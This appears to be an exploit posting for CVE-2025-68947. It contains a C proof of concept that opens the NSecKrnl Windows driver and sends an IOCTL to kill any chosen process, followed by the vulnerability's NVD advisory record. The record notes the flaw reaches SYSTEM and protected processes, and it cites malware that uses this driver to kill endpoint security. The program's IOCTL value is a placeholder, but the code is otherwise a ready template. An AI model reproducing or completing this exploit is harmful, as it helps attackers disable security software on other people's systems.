CVE-2025-68947

// CVE-2025-68947 PoC - NSecKrnl Driver Process Termination // Compile: gcc -o nseckrnl_poc nseckrnl_poc.c #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #define IOCTL_TERMINATE_PROCESS 0xDEADBEEF // Example IOCTL code int main(int argc, char* argv[]) { HANDLE hDevice; DWORD bytesReturned; DWORD targetPid; BOOL result; // Open handle to NSecKrnl driver device hDevice = CreateFile( "\\\\.\\NSecKrnl", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open NSecKrnl driver. Error: %d\n", GetLastError()); return 1; } printf("[+] Successfully opened handle to NSecKrnl driver\n"); if (argc > 1) { targetPid = atoi(argv[1]); } else { printf("Usage: %s <target_pid>\n", argv[0]); CloseHandle(hDevice); return 1; } printf("[*] Attempting to terminate process with PID: %u\n", targetPid); // Send IOCTL request to terminate target process result = DeviceIoControl( hDevice, IOCTL_TERMINATE_PROCESS, &targetPid, sizeof(DWORD), NULL, 0, &bytesReturned, NULL ); if (result) { printf("[+] Process %u terminated successfully!\n", targetPid); } else { printf("[-] Failed to terminate process. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }

{"cve": {"id": "CVE-2025-68947", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2026-01-13T22:16:06.453", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSecsoft 'NSecKrnl' is a Windows driver that allows a local, authenticated attacker to terminate processes owned by other users, including SYSTEM and Protected Processes by issuing crafted IOCTL requests to the driver."}, {"lang": "es", "value": "NSecsoft 'NSecKrnl' es un controlador de Windows que permite a un atacante local y autenticado terminar procesos propiedad de otros usuarios, incluyendo SYSTEM y Procesos Protegidos, mediante la emisión de solicitudes IOCTL manipuladas al controlador."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/ANYLNK/NSecSoftBYOVD", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://hexastrike.com/resources/blog/threat-intelligence/valleyrat-exploiting-byovd-to-kill-endpoint-security/", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-013-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-68947", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}, {"url": "https://www.virustotal.com/gui/file/206f27ae820783b7755bca89f83a0fe096dbb510018dd65b63fc80bd20c03261", "source": "9119a7d8-5eab-497f-8521-727c672e3725"}]}}